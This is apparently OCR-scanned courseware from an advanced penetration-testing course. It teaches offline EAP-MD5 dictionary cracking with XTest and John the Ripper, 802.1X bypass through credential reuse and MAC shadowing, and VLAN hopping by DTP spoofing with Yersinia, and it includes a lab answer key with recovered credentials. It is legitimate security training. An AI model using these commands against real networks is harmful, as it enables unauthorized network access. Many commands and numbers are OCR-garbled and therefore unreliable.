EAP-MDS5 traffic
—Mounts dictionary attack

I L [/xtest -c sample—paaps/?QTlG-EﬁﬁLSuccess.pcap -w ~/dict/openwall

XTest 1.0 Running -~ Wired 802.1x Supplicant test tool implementing RFC 4748 ERE-
MDE

[+] FPlease walt while decoding poap tile. ‘ Username'
[+} PBecoded Identity Pesponse Valus = CP=-T74971G-GE-SERPOCIETACA0S14

[+] Total Humber of 802,1x Successful Buthenrtication Sequences: 1

[+] Please wait while testing password in pcap against dicticnary file

{+] Attempring Dictionary Attack with 3918034 passwords of the dictionary

/home/ iwright /dict/openwall
f+} Password found: viperlab bzl l

[+] Password found at line 200243 of the dict
i 0,36 seconds: 5

Single-th

yrds

readed |
d

Xtest

XTest is an implementation of the EAP-MDS dictionary attack, available at http://xtest.sf.net. Able
to rcad from a live interface or a libpcap packet capture file, XTest uscs a dictionary file and the
EAP-MDS5 exchange data to mount an offline dictionary attack. On the author's Intel Core2Duo 2
GHz system, XTest is able to achieve a rate of over 550,000 password guesses per second. Note that
XTest is only a single-threaded process, meaning it does not take advantage of additional cores in the
CPU. Due to this limitation, XTest may perform slower on Intel i7 systems where cach core is
slower than a Core2Duo system core, yet significantly faster when all the cores are used.

To Ieverage multiple cores on a system, it is necessary to run multiple instances of XTest. After
capturing thc EAP-MD5 authentication cxchange in a libpeap packet capture, split your dictionary
file into an cqual number of picces matching the number of cores on your system (for example, for
an Intel 17 system, split your dictionary file into 7 pieces). Next, invoke a matching number of
instances of XTest, cach reading from the same libpcap packet capturc but a different dictionary file
portion. To split the wordlist file, first identify the number of lines in the filc using the "we" tool, as
shown below:

# we -1 /usr/share/wordlists/sqglmap.txt
1202867 /usr/share/wordlists/sqglmap.txt

Next, divide the number lines by the number of instances you wish to invoke. We'll use 7 in the
example below:
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# echo $((1707657/7))
243951

Next, use the split tool to split the file the specified line count for cach piece, as shown:

# echo $((1202867/7))

171838

# split -1 171838 /usr/share/wordlists/sglmap.txt wordlist-pieces
# 1s -1 wordlist-pieces*

-rw-r--r-- 1 root root 1554584 Apr 3 14:00 wordlist-piecesaa
-rw-r--r-- 1 root root 1582141 Apr 3 14:00 wordlist-piecesab
-rw-r--r-— 1 root root 1589265 Apr 3 14:00 wordlist-piecesac
-rw-r——-r—— 1 root root 1580112 Apr 3 14:00 wordlist-piecesad
—-rw-r—-r-— 1 root root 1561356 Apr 3 14:00 wordlist-piecesae
—-rw-r——r—-— 1 root root 1567085 Apr 3 14:00 wordlist-piecesaf
-rw-r—-—-r-— 1 root root 1570069 Apr 3 14:00 wordlist-piecesag
-rw-r--r-— 1 root root 13 Apr 3 14:00 wordlist-piecesah

Now each piece of the original wordlist can be used with a different instance of xtest to take
advantage of multi-core or multi-processor systems.
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Linux and EAP

4 ecat >/etc/wpa_supplicant.conf

e With credentials, configure the |« scan=o

g network={
wpa_supplicant.conffile Key, ngnt=TEEEB0Z1X
@a 5
— Used for wired and wireless imtﬁ:usex-- 3,
networks s gl
4 4 }
e Must keep supplicant running for|

¢ wpa_supplicant -Dwired -i eth0 -c

reauthentication e o I
e After auth., launch DHCP client | STirmr e omerss =

or select static address e i
¢ Alternative: Windows Vista/7

Wired AutoConfig service

Advanced Penetration Testing, Fxploit Writing, and Frhical Hacking

Linux and EAP

Once you have compromised the credentials uscd in the EAP-MDS exchange, we can configure our
attack system to connect to the network and authenticate using the compromised credentials. The
Linux tool wpa_supplicant is used to handle EAP authentication for wired and wircless networks,
including subscquent reauthentication policics implemented by the network (when the
wpa_supplicant software continues to run, as a foreground or background process). The
configuration of wpa_supplicant is managed through the wpa_supplicant.conf file, as shown on this
slide using "IEEE8021X" as the key mgmt parameter and "MD3" as the eap parameter. Start
wpa_supplicant and refer to the configuration file using the -c option, using -i to specify the local
interface and "-Dwired" to tell wpa_supplicant this is a wired authentication exchange. To run
wpa_supplicant as a background process, pass the "-D" argument (Daemonize).

After starting wpa_supplicant, invoke the local DHCP client (on Linux, threc common DHCP clicents
arc dhclient, dheped, and pump) or sclect a static IP address.

As an alternative for Windows Vista and Windows 7 systems we can usc the Wired AutoConfig
service using the "sc" utility, as shown below:

C:\>sc start dot3svc
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SERVICE NAME: dot3svc
TYPE
STATE

IGNORES SHUTDOWN)
WIN32 EXIT CODE
SERVICE_EXIT CODE
CHECKPOINT
WAIT HINT
PID
FLAGS

C:\>»sc query dot3svc

SERVICE NAME: dot3svc
TYPE
STATE

ACCEPTS SHUTDOWN)
WIN32 EXIT CODE
SERVICE_EXIT CODE
CHECKPOINT
WAIT HINT

20 WIN32 SHARE_ PROCESS
2 START PENDING

(NOT_STOPPABLE, NOT_PAUSABLE,

0 (0x0)
0  (0x0)
0x0
0x7d0
876

20 WIN32 SHARE PROCESS
4 RUNNING
(STOPPABLE, NOT PAUSABLE,

0 (0x0)
0 (0x0)
0x0
0x0
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Wired EAP Shadow Attack

Switch

e With a legitimate client, attacker can
"shadow" device post-authentication
— Impersonate MAC and IP of victim Hub

e Grants access to all stateless ‘ |
protocols on interior network =

» TCP sessions will be terminated by g Mr vy

victim ' MAC/IP of VoIP
o . | handset
— Unless victim drops unsolicited SYN+ACK '2 Attacker e
frames (some client firewalls) B ramrmoping
I limited access to

internal network

\dvanced Penctration Testing, Faxploit Writing, and Iithical Hacking

Wired EAP Shadow Attack

Building on the EAP-MDS attack where an adversary can leverage a hub between a legitimate device
and thc EAP-MDS authentication port, we can also leverage the Wired EAP Shadow Attack. In this
attack, the adversary docs not need to compromise the credentials of the device being impersonated,
rather, it impersonates the MAC and IP address of the victim and leverages the existing port closed
state of the switchport to access internal resources.

This access mechanism has significant limitations, however, duc to the common behavior of client
TCP implementations. While stateless traffic such as UDP and ICMP are allowed through the
network, stateful traffic such as TCP will interferc with the impersonated client. If the attacker sends
a TCP SYN messagc through the shadowed connection access, the response coming back will elicit
an RST frame from the shadowed client who did not originate the connection. An exception to this
policy is the case where personal firewall policy on the shadowed system drops unsolicited SYN
ACK frames.

As a bypass mechanism, the attacker could mount a DoS against the victim device, or otherwisc
disconnect them from the hub port following authentication.

WS-C3560G-24PS(config-if)#dotlx timeout reauth-period 20
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Exercise — EAP-MD5 Attack
Scenario

e Pedantic Pedagogy Partners
(PPP) specializes in developing
instructional material for
educators

PPP Internal

authentication systems

— Locked in @ room with a desk,
water, switch ports and a printer

Exercise - EAP-MDS5 Attack, Scenario

In this exercise you'll take on the role of a penetration tester working for Pedantic Pedagogy Partners
(PPP), a firm spccializing in the development of instructional material for educators. As PPP grows
with more and more internal staff, they have become more cautious about granting access to the
internal network. All employee workstations and networked devices must authenticate to IEEE
802.1X switch ports prior to gaining access to the network.

You arc welcomed to PPP, but quickly find yourself in a locked room with a desk, water, switch
ports and a printer. You must find a way to exploit the network authentication mechanism and gain
access to network resources if you ever want to sce the light of day again.
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Exercise — EAP-MD5 Attack
Network Reconfiguration

e You reconfigure the network to create ( | ...oa
an authentication capture opportunity Network
— Attacker configured as a network bridge
with two Ethernet interfaces
— Bridging IEEE 802.1X printer and switch
¢ You restart the printer to capture a
network authentication event
- Revealing that EAP-MDS5 in used

. Retrieve the exercise capture file as shown
# wget http://files.sec660.org/ppp-wiredeap.pcap

Exercise - EAP-MDS5 Attack, Network Reconfiguration

Seeing an opportunity with the printer in the conference room, you reconfigure the network to
capture the exchange between the networked printer and the switch port. Using two Ethernet
interfaces on your system, you capture the network activity after rebooting the printer, saving the
traffic to a packet capture file named ppp-wireeap.pcap.

Retrieve the packet capture file from the URL shown on this page to continue with the exercise.
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Exercise — EAP-MD5 Attack
XTest Setup

Kali Linux does not include XTest

Download from the local download server
— Must also install SSL and libpcap development libraries

Build using "make", copy xtest to /usr/local/bin
Decompress rockyou.txt wordlist included with Kali

wget http://files.sec660.org/libssl.deb ]
wget http://files.sec660.org/libssl-dev.deb
wget http://files.sec660.org/libpcap-dev.deb
wget http://files.sec660.0org/libpcap0.8-dev.deb
dpkg -i libssl*.deb libpcap*.deb

wget http://files.sec660.org/xtest-1.0.tar

tar xf xtest-1.0.tar

cd xtest-1.0

make

cp xtest fusr/local/bin

ok ook SR 3R 3R R dn oSk ok

\dvanced Penerration Testing, |.\!i'\lu it Wnnne, and Fohical Hacking

Exercise - EAP-MD35 Attack, XTest Setup

Kali Linux does not include XTest used for EAP-MDS3 password attacks. We can download X Test
from the official website at http://xtest.sf.net, but for this lab excrcisc we'll retrieve it from the lab
download server shown on this page.

Kali Linux does not include the required SSL library or libpcap or development headers for building
XTest, so first download the libssl.deb and libssl-dev.deb files and install using the dpkg utility as
shown. Next, download the xtest-1.0.tar archive file and cxtract the contents using the tar utility.
After extracting the files, build the software using make, as shown. Finally, copy the xtest binary to
a location in the system PATH, such as /usr/local/bin.

Once you have built and installed xtest, attempt to recover the username and the password data from
the ppp-wiredeap.pcap packet capture file. We can use the wordlist file from the sqlmap project
included with Kali Linux included in /usr/share/wordlists/sqlmap.txt as the password guessing
source.

After installing the XTest software and dependencies, you can
safely remove the XTest tar file and .deb files, but do not remove
the XTest source code yet.
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Exercise — EAP-MD5 Attack
XTest Fail

# xtest -c ppp-wiredeap.pcap ~w /usr/share/wordlists/sqlmap.txt
XTest 1.0 Running ~ Wired 802.1x Supplicant test tool implementing RFC
3748 ERP-MD5

[+] Please wait while decoding pcap file.

[+] Decoded Identity Response Value = eskoudis

[+] Decoded ldentity Response Value = eskoudls

[+] Tetal Number of 802.1x Successful Authentication Sequences: 1 Qﬁ:
[+] Please wait while testing password in pcap against dictionary 2
[+] Attempting Pictionary Attack with 1202867 passwords of the
dictionary /usr/share/wordlists/sqglmap.txt

[+] User password is not contailned in the supplied dictionary file

e XTest fails to recover the password
e We can patch the XTest source to accommodate
a mutated dictionary wordlist attack

Advanced Pencrration Testing, Fxploit Writing, and Frhical Hacking

Exercise — EAP-MDS5 Attack, XTest Fail
Attempting to recover the password in the ppp-wiredeap.pcap capture file will fail. This is expected
behavior when the authentication password is not present in the packet capture file.

As an alternative to a wordlist attack, we can usc a wordlist permutation attack, where cach word in

the specified file is modified to match common password sclection techniques, redirecting the
standard output from the permutation tool to a file, or to the standard input of the attack tool.
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Exercise — EAP-MD5 Attack
Enhancing XTest

e Enhance XTest with the supplied patch
— Fix compiler warnings
— Add support for reading from STDIN
with "-", allowing us to use dynamically
permutated dictionary attacks

# ed ~/xtest-1.0

# make clean

4 wget http://files.sec660.org/xtest-stdin-warnfix.diff
# patch -pl <xtest-stdin-warnfix.diff

# make

# cp xtest /usr/local/bin

Exercise - EAP-MDS Attack, Enhancing XTest

We can enhance the functionality of xtest by patching the source code to allow us to feed passwords
through standard input (STDIN) instead of being limited to a file on the filesystem (and fix minor
compiler warnings). Download the patch to enhance XTest from the URL shown on this slide.

After downloading the patch to the xtest-1.0 directory, use the patch utility to apply the source code
differences and rebuild the tool using make. Copy the xtest binary over the earlier copy in
/usr/local/bin.
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Exercise — EAP-MD5 Attack
Wordlist Permutation

e Leverage John the Ripper's password
permutation mode to modify Kali
Linux's supplied dictionary file

e What is the password for the ppp-
wiredeap.pcap capture?

# john -wordlist=/usr/share/wordlists/sqlmap.txt -stdout -rules
output trimmed for space

!Passwordl

lpassword!

!passwordl

¥lpassword

wZ2b5password

Exercise - EAP-MDS Attack, Wordlist Permutation

In order to enhance our dictionary attack, we'll use John the Ripper (John) to generate a permutated
dictionary file, redirecting the output of John to our modified xtest utility.

Using this technique you will be able to recover the password for the 2" packet capture as well.

81



Exercise — EAP-MD5 Attack
Answers Follow

e STOP - Answers for the EAP-MD5
Attack exercise follow

e Proceed only after you have
exhausted your options for
completion on your own

Exercise - EAP-MDS5 Attack, Answers Follow

Answers to the lab exercise follow; proceed no further unless you have exhausted your options for
completing the exercise on your own.
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Exercise — EAP-MD5 Attack
Password Recovery

# john -wordlist=/usr/share/wordlists/sqlmap.txt -stdout -rules | xtest
-¢ ~/ppp-wiredeap.pcap -w -

Test 1.0 Punning ~ Wired 802.1x Supplicant test tool implementing BFC
3748 EAP-MD5S

[+] Please wait while decoding pcap file.

[+] Decoded Identity Respcnse Value = eskoudis

[+] Decoded ldentity Besponse Value = eskoudis

[+]1 Total Number of 802.lx Successful Authentication Sequences: 1

[+] Using STDIN for dicticnary wordlist.

[+] Password found: Password?®

[+] Password found at line 2000199 of the dictiocnary file.

[+] Tried 2000159 passwords in 6.98 seconds: 286384.42 passwords/second.

If you have time, crack the ; :
passwords in these captures as http://files.sec660.org/wiredeap1.pcap

b ~ http://files.sec660.org/wiredeap2.pcap

Advanced Penerration Testing, Fxploit Writing, and Ethical H

Exercise - EAP-MDS5 Attack, Password Recovery

This slide demonstrates the successful attack against the ppp-wiredeap.pcap packet capture. With the
patched xtest utility, we can redircct the output of John to the input of XTest using the "-w -"
argument, as shown. From this output, we identify the username "eskoudis" and the password
"Password9" are used on the printer to authenticate to the network. We could use the same
credentials to gain access to the network as well.

If you have completed this exercise carly, you may optionally download two additional IEEE 802.1X
EAP-MDS3 authentication packet capture files to identify additional authentication credentials:

e http://files.sec660.org/wircdeap1.pcap
¢ http://files.sec660.org/wiredeap2.pcap

In this cxercise we show how it is possible to mount an offline dictionary attack against stronger
network admission control systems when weak authentication protocols arc used. In other cases, we

may be able to avoid the constraints of a NAC system altogether by performing VLAN hopping and
VLAN manipulation attacks, as we'll see next.
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VLAN Manipulation

e Several possibilities to leave current
VLAN on the switch

e Will examine tools and technique

e Sample Cisco I0S configs supplied for
comparison
—Experience with IOS not necessary

—Many attacks work against other
platforms as well, will note Cisco-only

VLAN Manipulation

VLAN scgments are often used to isolate traffic away from sensitive systems or devices. Several
possibilitics cxist where an attacker may bypass these restrictions through VLAN manipulation or
VLAN hopping attacks. We'll look at scveral techniques for bypassing VLAN restrictions next,
demonstrating the VLAN configuration syntax for Cisco 10S switches that replicate the
environments we are exploiting.

Experience with Cisco IOS is not necessary to understand these attacks, nor are the attacks limited to
Cisco devices. Many of these attacks are opportunities against other switch vendors, though the
protocols and implementation techniques may differ slightly.
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VLAN Attacks and Windows

e Windows does not natively support
VLAN trunking

—Tagged frames are dropped
e VMware tools never see trunking data

e Must boot Linux natively to
successfully exploit VLANs

Advanced Penerration Testing, | sploit Writing, and Fthical Hacking

VLAN Attacks and Windows

Unfortunately, Windows systems (up to and including Windows 7) do not natively support VLAN
trunking features, such as IEEE 802.1Q. Windows will identify and drop tagged frames upon
receipts from the Ethernet driver instcad of passing the frames to the rest of the operating system. As
a result, virtual machine guests are unable to observe trunk packets, and are thereforc unable to
participate in or exploit VLANSs,

In order to cxploit VLAN misconfiguration or implementation weaknesses, we must natively boot
Linux to take advantage of available tools.
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i e -IJ Default port configuration for many switches ‘

Dynamic Trunking Protocol

Proprietary Cisco protocol

Negotiates a trunk port and encapsulation
(802.1Q/ISL)

— If no trunking is performed, defaults to access port

DTP master shares VLAN information with all
downstream switches

Default port state for many switches

Tricking the switch into thinking you are a trunk will
cause all VLAN traffic to be passed.

Dynamie Trunking Protocol

The Dynamic Trunking Protocol (DTP) is a Cisco proprietary implementation to allow the switch to
determine and negotiate the switchport state as a trunk port using IEEE 802.1Q or Inter-Switch LAN
(ISL, a Cisco proprietary trunking protocol) or as an access port. DTP is the default configuration
for many Cisco switches on all ports as shown in the 10S example on this slide.

If another switch connccts to a DTP port, the DTP switch will watch for the presence of 802.1Q or
ISL traffic for 30 seconds. When cither protocol is discovered, the DTP port will auto-configure to
match the trunking configuration, sharing VLAN information with downstream switches. If no
802.1Q or ISL traffic is observed, the switch will default the port to an access port, allowing the uscr
to connect to the default or specified VLAN.

As an attacker, if we can trick the switch into thinking our connccted system is a switch using
802.1Q, then we can trick the switch into configuring the port as a trunk, passing down all VLAN
traffic with similar upstream access.
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DTP Traffic

e T = — - - - e
] S mem LA pa oL et < e
:hwumﬁewmm=1w1mm
Ly uy : ¢+eTF2 B aaan anmy B
Filter to l:I!E.;:vI(:!\,.r
i only DTP traffic ety i
No. Time o, il Tomel e Pttt - —r—rere
35 59.644309Cisco_93:dc:04 CDP/VTP/DTP /PAQP/UDLD oTF oynamic Trunking protocol -

- Frame 35: 60 bytes on wire (480 bits), 60 bytes caprured (480 bits)
« IEEE B§02.3 Ethernet

w Logical-Link Control

-« Dynamic Trunking Protocol

version: Ox01
bomain: corpner - _ VTP domain name
Type: Domain f(:uo’)l)

Length: 16

main: r oy
Cscats: Oor - qgm|  Statusof 2,3, 4, 0x8l
Type: Status (Ox0002)
Lengcth: &
Status: Owld
Drptype: Oxds
Type: Type (0x0003)

will negotiate a trunk port

Length: §
: Trunk type, 9)(‘_*5 =802.1Q .

0000 01 00 Oc cc cc ¢c 00 19 03 00 T
0010 03 00 00 Oc 20 04 01 00 01 00 10 63 6f "? ?0 B e e i corpn

0020 65 74 2d 76 74 70 00 O0 02 00 05 O4 00 O3 00 OS5 BE-VEPL. aiiees
0030 [N 00 O4 00 Oa 00 19 06 93 dc 04 DO -

DTP Traffic

On a penetration test, this author always takes a packet capture for several minutes on the wired
interface connccted to the switch, starting the capture process right before plugging in. After
stopping the packet capture, applying a display filter such as "dtp", as shown in this slide, will reveal
the presence of DTP frames, indicating that the switch port is vulncrable to a DTP VLAN hopping
attack.

Expanding the protocol header for a DTP frame will reveal several useful pieces of information,
including the VLAN Trunking Protocol domain name (if configured), the status of the port and the
DTP type. The status values 2, 3, 4 and 0x81 on Cisco switches indicate that the port is configured
to negotiate with the connected device as a trunk port. The DTP type value indicatcs that port is
configured to support 802.1Q when the valuc is 0x45.
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Yersinia

Multi-function network attack tool

Manipulates multiple LAN-related protocols
— STP, CDP, DTP, HSRP, DHCP, 802.1Q, VTP, ISL
Curses-based interface or GTK GUI

— Recommend Curses interface

Requires screen size of 80x25 to run in
Curses mode

Bug: Yersinia in Curses mode on VMware

|# yersinia -I |

g, Exploit Writing, and Frhical Hacking

Yersinia

Yersinia is a multi-function network attack tool, focused on exploiting LAN protocols including
spanning tree (STP), Cisco Discovery Protocol (CDP), DTP, Hot Standby Router Protocol (HSRP),
Dynamic Host Configuration Protocol (DHCP), IEEE 802.1Q, VLAN Trunking Protocol (VTP),
Inter-Switch LAN (ISL) and morc.

Yersinia supports multiple user interfaces to delivery network attacks, including a command-line
interface, a Curses-based interface and an experimental GTK GUI interface. In this author's
experience, the text-based Curses interface is the most stable interface and is recommended for all
Yersinia attacks. In order to use Yersinia in Curses mode, a screen size of 80 columns by 25 rows is
required.

To start Yersinia in Curses mode, invoke the yersinia command with the - argument, as shown on
this slide.

Note that there is a bug in Yersinia or the Curses library that is exhibited with VMware users. When
Yersinia is started in Curses mode ("-1") in a virtual machine, many users find that they cannot get
Yersinia to respond to any keystrokes, requiring that they switch to another terminal to kill Yersinia.
If this happens you may wish to run Yersinia in a native OS environment, or use Yersinia in GTK
mode ("yersinia -G").
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DTP VLAN Attack 1

195 Help

a 8.7.1 by Slay & tomac - STP mode

eld:

p Source M
i Id BEOE Ve

86 Type 09
i Bridgeld

DTP VLAN Attack 1

After invoking Yersinia we can navigate to different supported protocols using function keys, or by
pressing the "g" button to open the Choose protocol mode dialog, as shown. From the Choosc

(0 B4:08:20:12:A9:75
Flags
8423, 1B231602FFB8 Port

STP Packets: 3 —

Destin

00 Root

Id ACS8.E7CDIOLITCAA Pa
8002 Age OG08 Max GO14 H

— yersini [13:44:13]4
RootId Bridgeld Port Iface Last seen
8001.060190693DC0 hoose protecol mod 08 Sep 13:44:12
CoP Cisco Discovery Protocol
BHCP  Dynamic Host Configuration Protocol
802.10 IEEE 8062.1Q
BO2.1X IEEE 8@2.1X
DTP Dynamic Trunking Protoco@ Select "DTP" and press Enter
HSRP  Hot Standby Router Protocol I .
ISL Inter-Switch Link Protocol
STP Spanning Tree Protocol
VTP VLAN Trunking Pretocol
Press "g" to select protocol mode
Total Packets: 22 —

e MAC Spoofing [X] —

Llon MAC 01:80:(2:08:00:60

£ 0000a00
0002 Fwd BBBF

o

protocol mode dialog, usc the arrow keys to highlight the DTP protocol and press Enter.
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yersinia @.7.1 by Slay & tomac - DTP mode (13:46:40], B
Neighbor-ID Status Domain Iface Last seen
09190693DC04 TRUNK/AUTO eth0 08 Sep 13:46:11

0 sending DTP packet
1 enabling trunking

@ Press "1" to become a trunk port

Total Pac spoofing [X] —
3) Press "x" to open DTP attack panel ! s % B

ot Frevgs — e ! .
| Source MAC OC |
| Vers

{ Domain

DTP VLAN Attack 2

After navigating to the DTP attack mode function, press "x" to open the DTP attack pancl. Yersinia
supports two attacks against DTP: pressing 0 will allow you to specify a DTP packet based on your
configuration preferences set in the "DTP Fields" section at the bottom of the Yersinia screen.
Pressing 1 will send a DTP packet automatically configured to enable 802.1Q trunking on the
switchport recipient. Press 1 to deliver this frame, causing the switch to recognize the connected
device as a switch and allow the attacker to become a trunk port.
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DTP VLAN Attack 3

— yersinia 0.7.1 by Slay & tomac - DTP mode

[13:22:13)4
Neighbor-ID Sta e = 1 Last seen
BOTCERABD59S ALC | 5 60:19:06:93:DC:04 I 18 Sep 13:14:00
G0190693DC04 TRU| Destina @1:88:0C:CC:C{CC | 10 Sep 13:22:01
DCTCEBIBDSSS TRU| g1 i 10 Sep 13:21:44

601906330064

24 TRUNK/AUTO

AS BO2.1G/862.10
corpnet -vip

19

ath@

L ~ o, ENTER: exit Up/Down! scrollir

Total P ts: 1877 —ee— 0 OTP Parkafs: 3? e ' T

Select status line indicating trunk for details

WAL GO TCES: 16 D5:95 Destination MAJ Gl GG 8L 000l
v Bl Heighbor-ID OCTCEB4A6D585 Status 63 : AS

DTP VLAN Attack 3

After delivering the DTP attack, press 5 to open a status dialog for the DTP port to obtain details

about the port configuration. In the example on this slide, Yersinia indicates that the port status is
"84 TRUNK/AUTO", telling us the attack was successful.
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27 79.854874Cisc0 93 :de 04 COP/NTP/DTR PAGFE, U oTP pynamic Trunking Protocol
47 35.B6l3edcisco _93:dciOs COP/VTP/DTP,/PAQR,/ LEL VTP virtual Trunking Protocel
93 59.8758260¢;7C:e8:46:d5:95 COP/ VTP /DTP /PAQP UDLD oTR Dynamic Trunking Protace]
95 60, §58655¢Cisco_93dc:d COP/ VTP DTP /PAGP UDLD oTe pynamic Trunking Pratocal
98 61.3626384ppleCom_Da:c2:ide Broadcast ARP who has 10.10.100.107 Tell 10.10.100.2
100 61.B78RSECTsco_93:dcid0 Broadrast App Gratuitous agp for 10.10.1.1 (Reply)
102 62.363935Applecom 9a:cl:6e Broadcast ARP who has 10.10.100.107 7ell 10.10.100.2
103 62.739754 Applecom, 9a:c2:6e Broadcast ARP who has 10.10.100.107 Tell 10.10.100.2
107 A1, 3AL248annlecam Gaic? :fie Arnadrast anp wha has 10.10.100.107 71l 10.10.300.7 7
i A
% Ethernet IT, Src: Applecom 9a:c2:6e (00:1b:63:9a:c2:6e), Dst: Broadcast (FF:Ff i Ff:Ffiff:ff) -

§02.1q virtual LAN, PRI: O, CFI: O, ID: 100

e 000, = Priority; Best Effort (default) (0)
: M e imi " 3 le"
VLAN H 1. Yersinia sends "trunk desirable
= ke This message

Typ Sl
Trailer: 0000000000000000000000( 0000 % .
- Address Resolution Protoce] (request) 2. Switch responds, creating trunk
Hardware type: Etherner (0x0001) port
Protocol type: IP (Ox0800) -
8000 F1Ef AT EEo0te 6300 bt 0O NME ... .| 3. Switch sends VLAN VTP report
10 O8 06 00 01 O8 00 06 O4 OO0 O1 0O 1b 63 9a 2 68  ......c0 o
10020 Oa Da 64 02 00 00 00 00 00 00 Oa Oagdg: 8 00 Lol 4'AttBCKerseeswnkeapaFk3t5_w¢h
0030 00 00 00 00 00 00 OO 00 00 00 00 00 00 00 00 00  ......eu oo 802'1Q en{_-apsu|at|0n‘ can .denufy
O AND s T b 11 Dastoved 11 st 01| VEAN number in trunk header.

DTP Attack Walkthrough

Capturing the DTP attack from Yersinia with Wireshark allows us to inspect the attack process in
more detail and gather information about the trunked VLANSs accessible through the manipulated
port scttings:

1. In frame 25 we can see the spoofed DTP message from Yersinia, indicating the desire to trunk
with the uplink switch.

2. In frame 26 the switch responds to the attacker, having configured the port as an 802.1Q trunk.

3. In frame 42 the switch sends a VLAN Virtual Trunking Protocol report, disclosing VLAN
configuration information.

4. In frame 98 we can scc broadcast frames from other devices through the VLAN trunk port.
Inspecting the 802.1Q header on this traffic reveals the VLAN number in use for the selected
frame.
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table

Building a VLAN List

¢ Yersinia will track observed VLAN numbers
and protocol information

— Broadcast/multicast traffic traversing switch

e "g" to select protocol mode, "802.1Q", Enter

Protol Sr¢ IP

P 10.16.100.2

G184 N

Total Packets: 7849

Building a VLAN List

Yersinia will monitor network traffic observed and record information such as 1P addressces, protocol
information and VLAN settings. After executing the DTP attack, we can let Yersinia continue to
monitor the network and build a list of accessible VLANs. To access the list of observed VLANS,

" _.n

8.7.1 by Slay & tomac -

8082.10 mode

Dst IP

16.16.106.107

- BB2.10 Packets:

IP Prot
LN
KN
LN
KN
UKN
UKN
15,471
LEN
UKN
UK

5757 —

Iface

¢the
ethe
ethi
ethd
eth@
ethd
ethd
ethié
ethg
athi

Last seen

10
le
i
14
1@
ig
18
16
16
18

Sep 14
sep 14;
Sep 14
Sep 14!
Sep 14:
Sep 14
Sep 14
Sep 14
Sep 14:
Sep 14

MAC Spoofing

addresses, and protocols (such as the example shown in this slide), press
modc sclection dialog, scroll to select the 802.1Q entry and press Enter.
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145
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VLAN Participation

e Linux supports native 802.1Q VLAN support with virtual
interfaces

— Requires "8021q" kernel support and vlan tools for the
veonfig utility

e No support for Cisco ISL trunk ports

¥ modprobe 8021q

# weonfig add eth0 100

Added VLAN with VID == 100 to IF =iteth0:—

% ifconfig eth0.100

eth0.100 Link encap:Ethernet HWaddr 00:21:86:5¢:1b:0e
BROADCAST MULTICAST MTUO:1500 Metric:1
BX packets:l4 errors:0 dropped:d overruns:O L[rame:d
T¥ packets:0 errors:0 dropped:0 overruns:( carrier:(
collisions:f fxqueuelen:d
RX pytes:684 (684.0 By TX bytes:0 (0.0 B)

4 weconfig rem eth0.100

VILAN Participation

Once we have a list of VLAN interfaces, we can easily configure a Linux host to create one or more
virtual interfaces, each assigned to a specified VLAN. Supporting this configuration are the Linux
VLAN tools with the veonfig utility, and the Linux kernel module 8021q.

First, load the kernel module 8021q with the modprobe utility as shown. Next, create a virtual
interface for cach desired VLAN using the vconfig utility. The veonfig utility will create a sub-
interface matching the parent interface with the suffix ".100" where 100 is the specified VLAN
number (e¢.g. ¢th0.100). We can configure the eth0.100 interface as any other interface, removing it
with the "veonfig rem eth0.100" command.

Note that the vconfig utility does not attempt to validate that you have specificd the correct VLAN
number; veonfig will create a VLAN sub-interface with any VLAN number you specify,
encapsulating the traffic with the appropriate 802.1Q header. Also, there is no Linux support for the
proprictary Cisco ISL protocol.
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VLAN Hopping — 802.1Q Trunk

# weconfig add eth0 100

Added VLAN with VID == 100 to IF ~:eth0:-
# vconfig add eth0 200
Brded VLAN with VID == 200 to IF -:ethl:-

{ dhclient eth0.100

PHCPEEFPER "of 10.10.100.3 from 10.00.100.1

bound to 10.10.100.3 -- renewal in 335377 seconds.
4 dhelient eth0.200

DHCPOFFER of 10.10.200.3 from 10.10.200.1

bound to 10.10.200.3 —- renewal in 39022 seconds.
# nmap -sS -F -p 10.10.200.1

Starting MNmap 5.00 ( http://nmap.org ) at 2010-09-08 14:03 UTC
Interesting ports on 10.10.200.1:

Net shown: 98 closed ports

BORT STATE SERVICE

23/tcp open telnet

80/tcp open http

MAC Address: 00:19:06:93:DC:42 (Cisco Systems)

Nmap done: 1 TP address (1 host up) scanned in 14.49 seconds

VLAN Hopping - 802.1Q Trunk

The examples on this slide demonstrate how an attacker can leverage access to a DTP port to hop
through multiple VLANSs on a connected interface. The virtual interfaces can be used indirectly with
Linux bridging (where traffic destined for the 10.10.200.0/24 network is naturally bridged through
that connected interface, such as in the nmap example shown on this slide). Additional routes will
require manual configuration, where we can manually specify routes through interfaces by choosing
onc virtual interface or another as the default gateway, as shown below (where all traffic will be
routed through the ¢th0.200 interface, unless another interface exists that is directly connected to the
target network):

# route add -net 0.0.0.0/0 eth0.200
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interfacse FastEthernset(/2
switchport access vlan 100

Sen T, | Voice VLAN Hopping

¢ Cisco switches accommodate a special
"voice VLAN" feature

— VoIP phone plugs into switch, PC plugs into VoIP
phone

— Switch must trunk two VLANs

o Attacker can identify VLAN used for voice
through CDP traffic

e Despite port configured as access, attacker
can create 802.1Q trunk
- Access to voice VLAN

dvanced Penetration Testung, Exploit Writdng, and Fthical Hacking

Voice VLAN Hopping

Cisco switches support a special configuration mode where a single switch port can be used to
connect a VoIP phone to a voice VLAN, while a second device can connect to the phone to access a
different VLAN. The Cisco VolP phone effectively becomes a 2-port switch, allowing the customer
to retain their existing switch density while accommodating the VolP phoncs on their network. In
order to bridge the traffic from the workstation on a different VLAN than the phone however, the
VoIP phone must become a trunk port, if only a limited one, to differentiate between its own traffic
and the traffic of the downstream device.

The Cisco configuration shown on this slide is an example of how a voice VLAN is configured,
using the configuration dircctive "switchport voice vlan 200", with a second configuration directive
"switchport access vlan 100" to support the PC connecting through the phone. Despite that the
switchport is configured as access, an attacker can manipulate the switch when dircctly connected to
access the voice VLAN.
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Cisco Discovery Protocol

Ble [dt Yew Go Capture fnshyor Jtatistics Telephony JTook Help
© @ P8 Display filter for COP traffic | @ F & BB acan e®m s 3
Filtes: cdp ~ Epression.. Cew Apply

No. Time Source Destination Protocol Info

41 30.211079 cisco_93:dc:0f COP/VTR/DTP/PAGP/UDLD COP Device ID: sans-sec660 Port ID: FastEthernet0/13
158190, 214107 Cisco_93:dc:0f COP/VTP/DTP/PAQP/UDLD CDP Device ID: sans-sec660 Port ID: FastEthernet0/13

T Default timer for CDP traffic: 60 seconds |

i« Checksum: 0x8345 [correct]
pDevice IDD Sans-sech6l

software version «-—-—-{ 10S version and platform information

Platform: cisco wS-C2960-48TT-L

o

i &

&

# Addresses
